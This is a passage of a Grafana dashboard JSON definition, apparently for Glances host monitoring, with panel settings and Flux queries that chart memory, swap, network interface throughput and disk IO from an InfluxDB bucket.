false,\n\t\t\t\t\t\"refId\": \"B\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"total\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"series\": \"mem\",\n\t\t\t\t\t\"tags\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"key\": \"hostname\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^$host$/\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"target\": \"\"\n\t\t\t\t}\n\t\t\t],\n\t\t\t\"timeFrom\": null,\n\t\t\t\"timeShift\": null,\n\t\t\t\"title\": \"MEM\",\n\t\t\t\"type\": \"timeseries\"\n\t\t},\n\t\t{\n\t\t\t\"datasource\": \"${DS_GLANCES}\",\n\t\t\t\"description\": \"\",\n\t\t\t\"fieldConfig\": {\n\t\t\t\t\"defaults\": {\n\t\t\t\t\t\"color\": {\n\t\t\t\t\t\t\"mode\": \"palette-classic\"\n\t\t\t\t\t},\n\t\t\t\t\t\"custom\": {\n\t\t\t\t\t\t\"axisLabel\": \"\",\n\t\t\t\t\t\t\"axisPlacement\": \"auto\",\n\t\t\t\t\t\t\"barAlignment\": 0,\n\t\t\t\t\t\t\"drawStyle\": \"line\",\n\t\t\t\t\t\t\"fillOpacity\": 30,\n\t\t\t\t\t\t\"gradientMode\": \"none\",\n\t\t\t\t\t\t\"hideFrom\": {\n\t\t\t\t\t\t\t\"legend\": false,\n\t\t\t\t\t\t\t\"tooltip\": false,\n\t\t\t\t\t\t\t\"viz\": false\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"lineInterpolation\": \"linear\",\n\t\t\t\t\t\t\"lineWidth\": 1,\n\t\t\t\t\t\t\"pointSize\": 5,\n\t\t\t\t\t\t\"scaleDistribution\": {\n\t\t\t\t\t\t\t\"type\": \"linear\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"showPoints\": \"never\",\n\t\t\t\t\t\t\"spanNulls\": true,\n\t\t\t\t\t\t\"stacking\": {\n\t\t\t\t\t\t\t\"group\": \"A\",\n\t\t\t\t\t\t\t\"mode\": \"none\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"thresholdsStyle\": {\n\t\t\t\t\t\t\t\"mode\": \"off\"\n\t\t\t\t\t\t}\n\t\t\t\t\t},\n\t\t\t\t\t\"mappings\": [],\n\t\t\t\t\t\"thresholds\": {\n\t\t\t\t\t\t\"mode\": \"absolute\",\n\t\t\t\t\t\t\"steps\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"green\",\n\t\t\t\t\t\t\t\t\"value\": null\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"red\",\n\t\t\t\t\t\t\t\t\"value\": 80\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t},\n\t\t\t\t\t\"unit\": \"bps\"\n\t\t\t\t},\n\t\t\t\t\"overrides\": []\n\t\t\t},\n\t\t\t\"gridPos\": {\n\t\t\t\t\"h\": 7,\n\t\t\t\t\"w\": 12,\n\t\t\t\t\"x\": 0,\n\t\t\t\t\"y\": 14\n\t\t\t},\n\t\t\t\"id\": 9,\n\t\t\t\"links\": [],\n\t\t\t\"options\": {\n\t\t\t\t\"legend\": {\n\t\t\t\t\t\"calcs\": [\"mean\", \"max\", \"min\"],\n\t\t\t\t\t\"displayMode\": \"list\",\n\t\t\t\t\t\"placement\": \"bottom\"\n\t\t\t\t},\n\t\t\t\t\"tooltip\": {\n\t\t\t\t\t\"mode\": \"single\"\n\t\t\t\t}\n\t\t\t},\n\t\t\t\"pluginVersion\": \"8.2.5\",\n\t\t\t\"targets\": [\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"In\",\n\t\t\t\t\t\"column\": \"enp0s25.rx\",\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"function\": \"mean\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"auto\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"null\"],\n\t\t\t\t\t\t\t\"type\": \"fill\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"hide\": false,\n\t\t\t\t\t\"interval\": \"\",\n\t\t\t\t\t\"measurement\": \"$host.network\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"from(bucket: \\\"glances\\\")\\n  |> range(start: v.timeRangeStart, stop:v.timeRangeStop)\\n  |> filter(fn: (r) =>\\n    r._measurement == \\\"network\\\" and\\n    (r._field == \\\"rx\\\" or r._field == \\\"time_since_update\\\") and\\n    r.interface_name == \\\"${interface}\\\" and\\n    r.hostname == \\\"${host}\\\"\\n  )\\n  |> pivot(\\n    rowKey:[\\\"_time\\\"],\\n    columnKey: [\\\"_field\\\"],\\n    valueColumn: \\\"_value\\\"\\n  )\\n  |> map(fn: (r) => ({ r with _value: (r.rx / r.time_since_update) * 8.0 }))\\n  |> aggregateWindow(every: v.windowPeriod, fn: mean, createEmpty: false)\\n  |> keep(columns: [\\\"_time\\\", \\\"_value\\\"])\\n  |> rename(columns: {_value: \\\"rx_rate\\\"})\\n\",\n\t\t\t\t\t\"rawQuery\": true,\n\t\t\t\t\t\"refId\": \"A\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"eth0.rx\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"series\": \"network\",\n\t\t\t\t\t\"tags\": []\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"Out\",\n\t\t\t\t\t\"column\": \"eth0.tx*-1\",\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"function\": \"mean\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"auto\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"null\"],\n\t\t\t\t\t\t\t\"type\": \"fill\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"measurement\": \"$host.network\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"from(bucket: \\\"glances\\\")\\n  |> range(start: v.timeRangeStart, stop:v.timeRangeStop)\\n  |> filter(fn: (r) =>\\n    r._measurement == \\\"network\\\" and\\n    (r._field == \\\"tx\\\" or r._field == \\\"time_since_update\\\") and\\n    r.interface_name == \\\"${interface}\\\" and\\n    r.hostname == \\\"${host}\\\"\\n  )\\n  |> pivot(\\n    rowKey:[\\\"_time\\\"],\\n    columnKey: [\\\"_field\\\"],\\n    valueColumn: \\\"_value\\\"\\n  )\\n  |> map(fn: (r) => ({ r with _value: (r.tx / r.time_since_update) * -8.0 }))\\n  |> aggregateWindow(every: v.windowPeriod, fn: mean, createEmpty: false)\\n  |> keep(columns: [\\\"_time\\\", \\\"_value\\\"])\\n  |> rename(columns: {_value: \\\"tx_rate\\\"})\\n\",\n\t\t\t\t\t\"rawQuery\": true,\n\t\t\t\t\t\"refId\": \"B\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"eth0.tx\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"series\": \"network\",\n\t\t\t\t\t\"tags\": [],\n\t\t\t\t\t\"target\": \"\"\n\t\t\t\t}\n\t\t\t],\n\t\t\t\"timeFrom\": null,\n\t\t\t\"timeShift\": null,\n\t\t\t\"title\": \"$interface network interface\",\n\t\t\t\"transformations\": [],\n\t\t\t\"type\": \"timeseries\"\n\t\t},\n\t\t{\n\t\t\t\"datasource\": \"${DS_GLANCES}\",\n\t\t\t\"fieldConfig\": {\n\t\t\t\t\"defaults\": {\n\t\t\t\t\t\"color\": {\n\t\t\t\t\t\t\"mode\": \"palette-classic\"\n\t\t\t\t\t},\n\t\t\t\t\t\"custom\": {\n\t\t\t\t\t\t\"axisLabel\": \"\",\n\t\t\t\t\t\t\"axisPlacement\": \"auto\",\n\t\t\t\t\t\t\"barAlignment\": 0,\n\t\t\t\t\t\t\"drawStyle\": \"line\",\n\t\t\t\t\t\t\"fillOpacity\": 0,\n\t\t\t\t\t\t\"gradientMode\": \"none\",\n\t\t\t\t\t\t\"hideFrom\": {\n\t\t\t\t\t\t\t\"legend\": false,\n\t\t\t\t\t\t\t\"tooltip\": false,\n\t\t\t\t\t\t\t\"viz\": false\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"lineInterpolation\": \"linear\",\n\t\t\t\t\t\t\"lineWidth\": 1,\n\t\t\t\t\t\t\"pointSize\": 5,\n\t\t\t\t\t\t\"scaleDistribution\": {\n\t\t\t\t\t\t\t\"type\": \"linear\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"showPoints\": \"never\",\n\t\t\t\t\t\t\"spanNulls\": true,\n\t\t\t\t\t\t\"stacking\": {\n\t\t\t\t\t\t\t\"group\": \"A\",\n\t\t\t\t\t\t\t\"mode\": \"none\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"thresholdsStyle\": {\n\t\t\t\t\t\t\t\"mode\": \"off\"\n\t\t\t\t\t\t}\n\t\t\t\t\t},\n\t\t\t\t\t\"mappings\": [],\n\t\t\t\t\t\"min\": 0,\n\t\t\t\t\t\"thresholds\": {\n\t\t\t\t\t\t\"mode\": \"absolute\",\n\t\t\t\t\t\t\"steps\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"green\",\n\t\t\t\t\t\t\t\t\"value\": null\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"red\",\n\t\t\t\t\t\t\t\t\"value\": 80\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t},\n\t\t\t\t\t\"unit\": \"bytes\"\n\t\t\t\t},\n\t\t\t\t\"overrides\": [\n\t\t\t\t\t{\n\t\t\t\t\t\t\"matcher\": {\n\t\t\t\t\t\t\t\"id\": \"byRegexp\",\n\t\t\t\t\t\t\t\"options\": \"/total.*/\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"properties\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"id\": \"color\",\n\t\t\t\t\t\t\t\t\"value\": {\n\t\t\t\t\t\t\t\t\t\"fixedColor\": \"dark-red\",\n\t\t\t\t\t\t\t\t\t\"mode\": \"fixed\"\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"id\": \"custom.lineWidth\",\n\t\t\t\t\t\t\t\t\"value\": 2\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\t\"matcher\": {\n\t\t\t\t\t\t\t\"id\": \"byRegexp\",\n\t\t\t\t\t\t\t\"options\": \"/used.*/\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"properties\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"id\": \"custom.fillOpacity\",\n\t\t\t\t\t\t\t\t\"value\": 30\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t}\n\t\t\t\t]\n\t\t\t},\n\t\t\t\"gridPos\": {\n\t\t\t\t\"h\": 7,\n\t\t\t\t\"w\": 12,\n\t\t\t\t\"x\": 12,\n\t\t\t\t\"y\": 14\n\t\t\t},\n\t\t\t\"id\": 8,\n\t\t\t\"links\": [],\n\t\t\t\"options\": {\n\t\t\t\t\"legend\": {\n\t\t\t\t\t\"calcs\": [],\n\t\t\t\t\t\"displayMode\": \"list\",\n\t\t\t\t\t\"placement\": \"bottom\"\n\t\t\t\t},\n\t\t\t\t\"tooltip\": {\n\t\t\t\t\t\"mode\": \"single\"\n\t\t\t\t}\n\t\t\t},\n\t\t\t\"pluginVersion\": \"8.2.5\",\n\t\t\t\"targets\": [\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"Used\",\n\t\t\t\t\t\"column\": \"used\",\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"function\": \"mean\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"$__interval\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"measurement\": \"$host.memswap\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"from(bucket: \\\"glances\\\")\\n  |> range(start: v.timeRangeStart, stop:v.timeRangeStop)\\n  |> filter(fn: (r) =>\\n    r._measurement == \\\"memswap\\\" and\\n    r._field == \\\"used\\\" and\\n    r.hostname == \\\"${host}\\\"\\n  )\\n  |> aggregateWindow(every: v.windowPeriod, fn: mean, createEmpty: false)\\n  |> yield(name: \\\"used\\\")\\n  \",\n\t\t\t\t\t\"rawQuery\": true,\n\t\t\t\t\t\"refId\": \"A\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"used\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"series\": \"memswap\",\n\t\t\t\t\t\"tags\": []\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"Max\",\n\t\t\t\t\t\"column\": \"total\",\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"function\": \"mean\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"$__interval\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"measurement\": \"$host.memswap\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"from(bucket: \\\"glances\\\")\\n  |> range(start: v.timeRangeStart, stop:v.timeRangeStop)\\n  |> filter(fn: (r) =>\\n    r._measurement == \\\"memswap\\\" and\\n    r._field == \\\"total\\\" and\\n    r.hostname == \\\"${host}\\\"\\n  )\\n  |> aggregateWindow(every: v.windowPeriod, fn: mean, createEmpty: false)\\n  |> yield(name: \\\"total\\\")\\n  \\n  \",\n\t\t\t\t\t\"rawQuery\": true,\n\t\t\t\t\t\"refId\": \"B\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"total\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"series\": \"memswap\",\n\t\t\t\t\t\"tags\": [],\n\t\t\t\t\t\"target\": \"\"\n\t\t\t\t}\n\t\t\t],\n\t\t\t\"timeFrom\": null,\n\t\t\t\"timeShift\": null,\n\t\t\t\"title\": \"SWAP\",\n\t\t\t\"type\": \"timeseries\"\n\t\t},\n\t\t{\n\t\t\t\"datasource\": \"${DS_GLANCES}\",\n\t\t\t\"description\": \"\",\n\t\t\t\"fieldConfig\": {\n\t\t\t\t\"defaults\": {\n\t\t\t\t\t\"color\": {\n\t\t\t\t\t\t\"mode\": \"palette-classic\"\n\t\t\t\t\t},\n\t\t\t\t\t\"custom\": {\n\t\t\t\t\t\t\"axisLabel\": \"\",\n\t\t\t\t\t\t\"axisPlacement\": \"auto\",\n\t\t\t\t\t\t\"barAlignment\": 0,\n\t\t\t\t\t\t\"drawStyle\": \"line\",\n\t\t\t\t\t\t\"fillOpacity\": 15,\n\t\t\t\t\t\t\"gradientMode\": \"none\",\n\t\t\t\t\t\t\"hideFrom\": {\n\t\t\t\t\t\t\t\"legend\": false,\n\t\t\t\t\t\t\t\"tooltip\": false,\n\t\t\t\t\t\t\t\"viz\": false\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"lineInterpolation\": \"linear\",\n\t\t\t\t\t\t\"lineWidth\": 1,\n\t\t\t\t\t\t\"pointSize\": 5,\n\t\t\t\t\t\t\"scaleDistribution\": {\n\t\t\t\t\t\t\t\"type\": \"linear\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"showPoints\": \"never\",\n\t\t\t\t\t\t\"spanNulls\": true,\n\t\t\t\t\t\t\"stacking\": {\n\t\t\t\t\t\t\t\"group\": \"A\",\n\t\t\t\t\t\t\t\"mode\": \"none\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"thresholdsStyle\": {\n\t\t\t\t\t\t\t\"mode\": \"off\"\n\t\t\t\t\t\t}\n\t\t\t\t\t},\n\t\t\t\t\t\"mappings\": [],\n\t\t\t\t\t\"thresholds\": {\n\t\t\t\t\t\t\"mode\": \"absolute\",\n\t\t\t\t\t\t\"steps\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"green\",\n\t\t\t\t\t\t\t\t\"value\": null\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"red\",\n\t\t\t\t\t\t\t\t\"value\": 80\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t},\n\t\t\t\t\t\"unit\": \"bytes\"\n\t\t\t\t},\n\t\t\t\t\"overrides\": []\n\t\t\t},\n\t\t\t\"gridPos\": {\n\t\t\t\t\"h\": 7,\n\t\t\t\t\"w\": 12,\n\t\t\t\t\"x\": 0,\n\t\t\t\t\"y\": 21\n\t\t\t},\n\t\t\t\"id\": 10,\n\t\t\t\"links\": [],\n\t\t\t\"options\": {\n\t\t\t\t\"legend\": {\n\t\t\t\t\t\"calcs\": [\"mean\", \"max\", \"min\"],\n\t\t\t\t\t\"displayMode\": \"list\",\n\t\t\t\t\t\"placement\": \"bottom\"\n\t\t\t\t},\n\t\t\t\t\"tooltip\": {\n\t\t\t\t\t\"mode\": \"single\"\n\t\t\t\t}\n\t\t\t},\n\t\t\t\"pluginVersion\": \"8.2.5\",\n\t\t\t\"targets\": [\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"Read\",\n\t\t\t\t\t\"column\": \"sda2.read_bytes\",\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"function\": \"mean\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"auto\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"none\"],\n\t\t\t\t\t\t\t\"type\": \"fill\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"measurement\": \"$host.diskio\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"from(bucket: \\\"glances\\\")\\n  |> range(start: v.timeRangeStart, stop:v.timeRangeStop)\\n  |> filter(fn: (r) =>\\n    r._measurement == \\\"diskio\\\" and\\n    (r._field == \\\"read_bytes\\\" or r._field == \\\"time_since_update\\\") and\\n    r.disk_name == \\\"${disk}\\\" and\\n    r.hostname == \\\"${host}\\\"\\n  )\\n  |> pivot(\\n    rowKey:[\\\"_time\\\"],\\n    columnKey: [\\\"_field\\\"],\\n    valueColumn: \\\"_value\\\"\\n  )\\n  |> map(fn: (r) => ({ r with _value: (r.read_bytes / r.time_since_update) }))\\n  |> aggregateWindow(every: v.windowPeriod, fn: mean, createEmpty: false)\\n  |> keep(columns: [\\\"_time\\\", \\\"_value\\\"])\\n  |> rename(columns: {_value: \\\"read_rate\\\"})\\n\",\n\t\t\t\t\t\"rawQuery\": true,\n\t\t\t\t\t\"refId\": \"A\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"sda2.read_bytes\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"series\": \"diskio\",\n\t\t\t\t\t\"tags\": []\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"Write\",\n\t\t\t\t\t\"column\": \"sda2.write_bytes\",\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"function\": \"mean\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"auto\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"none\"],\n\t\t\t\t\t\t\t\"type\": \"fill\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"measurement\": \"$host.diskio\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"from(bucket: \\\"glances\\\")\\n  |> range(start: v.timeRangeStart, stop:v.timeRangeStop)\\n  |> filter(fn: (r) =>\\n    r._measurement == \\\"diskio\\\" and\\n    (r._field == \\\"write_bytes\\\" or r._field == \\\"time_since_update\\\") and\\n    r.disk_name == \\\"${disk}\\\" and\\n    r.hostname == \\\"${host}\\\"\\n  )\\n  |> pivot(\\n    rowKey:[\\\"_time\\\"],\\n    columnKey: [\\\"_field\\\"],\\n    valueColumn: \\\"_value\\\"\\n  )\\n  |> map(fn: (r) => ({ r with _value: (r.write_bytes / r.time_since_update) * -1.0 }))\\n  |> aggregateWindow(every: v.windowPeriod, fn: mean, createEmpty: false)\\n  |> keep(columns: [\\\"_time\\\", \\\"_value\\\"])\\n  |> rename(columns: {_value: \\\"write_rate\\\"})\\n\",\n\t\t\t\t\t\"rawQuery\": true,\n\t\t\t\t\t\"refId\": \"B\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"sda2.write_bytes\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"series\": \"diskio\",\n\t\t\t\t\t\"tags\": [],\n\t\t\t\t\t\"target\": \"\"\n\t\t\t\t}\n\t\t\t],\n\t\t\t\"timeFrom\": null,\n\t\t\t\"timeShift\": null,\n\t\t\t\"title\": \"$disk disk IO\",\n\t\t\t\"type\": \"timeseries\"\n\t\t},\n\t\t{\n\t\t\t\"datasource\": \"${DS_GLANCES}\",\n\t\t\t\"description\": \"\",\n\t\t\t\"fieldConfig\": {\n\t\t\t\t\"defaults\": {\n\t\t\t\t\t\"color\": {\n\t\t\t\t\t\t\"mode\": \"palette-classic\"\n\t\t\t\t\t},\n\t\t\t\t\t\"custom\": {\n\t\t\t\t\t\t\"axisLabel\": \"\",\n\t\t\t\t\t\t\"axisPlacement\": \"auto\",\n\t\t\t\t\t\t\"barAlignment\": 0,\n\t\t\t\t\t\t\"drawStyle\": \"line\",\n\t\t\t\t\t\t\"fillOpacity\": 0,\n\t\t\t\t\t\t\"gradientMode\": \"none\",\n\t\t\t\t\t\t\"hideFrom\": {\n\t\t\t\t\t\t\t\"legend\": false,\n\t\t\t\t\t\t\t\"tooltip\": false,\n\t\t\t\t\t\t\t\"viz\": false\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"lineInterpolation\": \"linear\",\n\t\t\t\t\t\t\"lineWidth\": 3,\n\t\t\t\t\t\t\"pointSize\": 5,\n\t\t\t\t\t\t\"scaleDistribution\": {\n\t\t\t\t\t\t\t\"type\": \"linear\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"showPoints\": \"never\",\n\t\t\t\t\t\t\"spanNulls\": true,\n\t\t\t\t\t\t\"stacking\": {\n\t\t\t\t\t\t\t\"group\": \"A\",\n\t\t\t\t\t\t\t\"mode\": \"none\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"thresholdsStyle\": {\n\t\t\t\t\t\t\t\"mode\": \"off\"\n\t\t\t\t\t\t}\n\t\t\t\t\t},\n\t\t\t\t\t\"mappings\": [],\n\t\t\t\t\t\"min\": 0,\n\t\t\t\t\t\"thresholds\": {\n\t\t\t\t\t\t\"mode\": \"absolute\",\n\t\t\t\t\t\t\"steps\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"green\",\n\t\t\t\t\t\t\t\t\"value\": null\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"red\",\n\t\t\t\t\t\t\t\t\"value\": 80\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t},\n\t\t\t\t\t\"unit\": \"bytes\"\n\t\t\t\t},\n\t\t\t\t\"overrides\": [\n\t\t\t\t\t{\n\t\t\t\t\t\t\"matcher\": {\n\t\t\t\t\t\t\t\"id\": \"byName\",\n\t\t\t\t\t\t\t\"options\": \"Max\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"properties\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"id\": \"color\",\n\t\t\t\t\t\t\t\t\"value\": {\n\t\t\t\t\t\t\t\t\t\"fixedColor\": \"#BF1B00\",\n\t\t\t\t\t\t\t\t\t\"mode\": \"fixed\"\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\t\"matcher\": {\n\t\t\t\t\t\t\t\"id\": \"byName\",\n\t\t\t\t\t\t\t\"options\": \"Used\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"properties\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"id\": \"custom.fillOpacity\",\n\t\t\t\t\t\t\t\t\"value\": 100\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"id\": \"custom.fillOpacity\",\n\t\t\t\t\t\t\t\t\"value\": 80\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t}\n\t\t\t\t]\n\t\t\t},\n\t\t\t\"gridPos\": {\n\t\t\t\t\"h\": 7,\n\t\t\t\t\"w\": 10,\n\t\t\t\t\"x\": 12,\n\t\t\t\t\"y\": 21\n\t\t\t},\n\t\t\t\"id\": 11,\n\t\t\t\"links\": [],\n\t\t\t\"options\": {\n\t\t\t\t\"legend\": {\n\t\t\t\t\t\"calcs\": [],\n\t\t\t\t\t\"displayMode\": \"list\",\n\t\t\t\t\t\"placement\": 